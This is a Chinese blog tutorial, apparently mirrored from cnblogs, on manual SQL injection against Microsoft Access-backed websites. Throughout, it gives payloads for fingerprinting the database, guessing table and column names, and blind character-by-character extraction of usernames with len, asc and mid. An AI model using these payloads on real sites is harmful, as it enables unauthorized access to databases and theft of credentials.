zoukankan      html  css  js  c++  java
  • Access手动注入实战

    注入ACCESS时,不能和MYSQL一样可以把表名爆出,只能一个一个去猜。

    1.找到网站后,查看是否为ACCESS数据库。

        构造payload  URL+  and exists (select id from mysysaccessobjects) 返回正确,则为access数据库。

                 and (select count(*) from msysobjects)>0    –返回权限不足为access数据库
                 and (select count(*) from sysobjects)>0     –返回正常则为MSSQL数据库

        想法设法让他报错,错误信息中包含数据库信息。

                

    2.进行and 1=1(显示正常) 与and1=2(报错)确实是注入点。 

    3.URL + and 0<=(select count(*) from admin) and 1<2  查看返回结果,发现出错。说明没有admin这个表。 (使用参见的表名进行猜测)  and (select count(*) from admin) 即可

    4.URL + and 0<=(select count(*) from manage) and 1<2      查看返货结果,反正正确页面。说明数据库中含有manage这个表。         and  (select count(*) from manage)   即可

      一个一个去尝试看看别的表名是什么。

    5.确定manage这个表的存在,然后接下来判断表内有多少条记录数

          payload: and (select count(*) from 猜到的表名)>X(X是个数字,>我们也可以替换为=或<)。

           尝试: and (select count(*) from manage)>0  看是否返回正确页面。正确说明有 >0的记录数。然后继续修改X 确定有多少条记录数。 这里测试后只有一条记录。

    6.知道manage 表中只有一个记录也就是只有一个列。然后猜测列名。

          payload : (select count(username) from manage)  猜测manage表中是否有username这个列。 然后把username 换成一些常用的password id等等去测试。

    7.知道列名后,然后猜测字段长度。

            payload:使用语句and (select top 1 len(列) from 表)>X,`select top 1`是查询第一条数据的意思。(查询第二条字段长度必须先把第一条的字段值判断出来)

            payload:and (select top 1 len(username) from manage)>4 返回正确页面,说明第一个字段大于4

            payload:and (select top 1 len(username) from manage)>5 返回错误页面,说明第一个字段小于5 。结合说明第一个字段长度为5

    8. 判断字段值

      payload:and (select top 1 asc(mid(字段名,X,1)) from 表名)>N,这个句子里的N和X都是数字。top 1还是是查询第一条数据的意思。

      asc()这个函数是用来得到()里的字符串的 ASCII码(什么是ASCII码呢?计算机内部采用二进制的方式计数,那么它为什么又能识别十进制数和各种字符、图形呢?

      其实,不论是数值数据还是文字、图形等,在计算机内部都采用了一种编码标准。通过编码标准可以把它转换成二进制数来进行处理,计算机将这些信息处理完毕再转换成可视的信息显示出来。常用的字符代码是 ASCII码,它原来是美国的国家标准,

      1967年被定为国际标准。),比如a所对应的ASCII码就是97。

      mid(字段名,A, N),这个函数是用来截取()里的字段从第A个长度起往后截取N个字,比如mid(username,2,3)就表示从username字段中从第二个字符向后截取3位,包括第二个字符,比如值为admin,截取的就是dmi。我们上面使用mid(字段名,X,1),

      最后面那个数字是1,但前面还有个asc()函数,asc()这个函数一下就只把一个字符转换成ASCII码,所以我们用mid()函数来截取列值的时候只截取一位。

        构造payload:  and (select top 1 asc(mid(username,1,1)) from manage)>96 页面返回正常页面  说明username列中的第一个字段往后的一位大于 96(转码之后)

               and (select top 1 asc(mid(username,1,1)) from manage)>97 页面返回错误页面,说明username列中的第一字段往后的一位不大于97(转码之后)。说明是97 ASCII转码之后是a

        然后在构造payload  :and (select top 1 asc(mid(username,2,1)) from manage)>97 继续猜测第二个字段。使用这个方法继续猜测之后的字段。能把所有的字段都爆出来。

     

         9.  有时候,我们会碰到汉字的数据,比如username中数据就是“管理员”,这时就不能使用ASCII码了

        10.用逐字猜解列值的方 法,有的时候是 >0 页面还是返回错误!不大于0就说晚这个值的ASCII码是负数,也就是汉字!这个时候我们要想得到它的ASCII码,就要用到一个函数了!abs()这个 函数是用来返回一个值的绝对值的!我们只要把这个函数加在句子里,就可以按照平常的方法猜ASCII码了。具体是这么加的:and (select top 1 abs(asc(mid(列,X,1))) from admin)>N就是这样了,不过等猜出来后不要忘了加负号。

        11.联合查询也可以尝试猜测。

  • 相关阅读:
    golang-grpc-Unimplemented-desc
    redis使用get key中文变成十六进制编码
    golang-generate-1pixel-image
    telnet-redis-quit
    redis hset hmset过期时间
    cookie mapping 原理理解
    excel 表格粘贴到word 显示不完整
    golang-test-tool-gotests
    go build Multiple main.go file
    golang-build-error
  • 原文地址:https://www.cnblogs.com/pangya/p/8984700.html
Copyright © 2011-2022 走看看